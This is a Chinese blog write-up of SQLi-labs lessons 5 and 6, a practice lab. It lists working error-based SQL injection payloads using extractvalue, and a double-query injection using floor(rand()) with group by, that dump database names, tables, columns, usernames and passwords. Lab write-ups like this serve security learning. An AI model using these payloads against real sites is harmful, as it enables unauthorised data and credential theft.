sqli lab less-5-6

less-5

  1. 基于报错的注入
  • 基于报错可以爆出当前数据库名等等
    id=2’ and extractvalue(1, concat(0x7c,(select user())));-- #
    在这里插入图片描述
    ?id=2’ and extractvalue(1, concat(0x7c,(select @@version)));-- #
    在这里插入图片描述
    ?id=2’ and extractvalue(1, concat(0x7c,(select database())));-- #
    在这里插入图片描述
  • 爆当前数据库表
    ?id=2’ and extractvalue(1, concat(0x7c,(
    select group_concat(table_name) from information_schema.tables where table_schema=database()
    )));-- #
    在这里插入图片描述
  • 爆字段
    ?id=2’ and extractvalue(1, concat(0x7c,(
    select group_concat(column_name) from information_schema.columns where table_name=‘users’
    )));-- #
    在这里插入图片描述
  • 爆数据
    ?id=2’ and extractvalue(1, concat(0x7c,(
    select group_concat(username) from users
    )));-- #
    ?id=2’ and extractvalue(1, concat(0x7c,(
    select group_concat(password) from users
    )));-- #
    在这里插入图片描述
    在这里插入图片描述
  • 这种方式爆出数据较少,可能爆不出想要的数据
  1. 双查询注入
    原理:https://www.2cto.com/article/201303/192718.html

?id=2’ union select 1,count(*), concat((
select password from users limit 2,1
), floor(rand()*2))as a from information_schema.tables group by a;
– #
修改limit
可以一条一条的爆出信息
在这里插入图片描述

  • 上面基于xpath报错的函数也可以一条一条爆出信息
    ?id=2’ and extractvalue(1, concat(0x7c,(
    select password from users limit 1,1
    )));-- #

less-6

同上 " 闭合

posted @ 2020-03-15 16:26  10nnn4R  阅读(130)  评论(0编辑  收藏  举报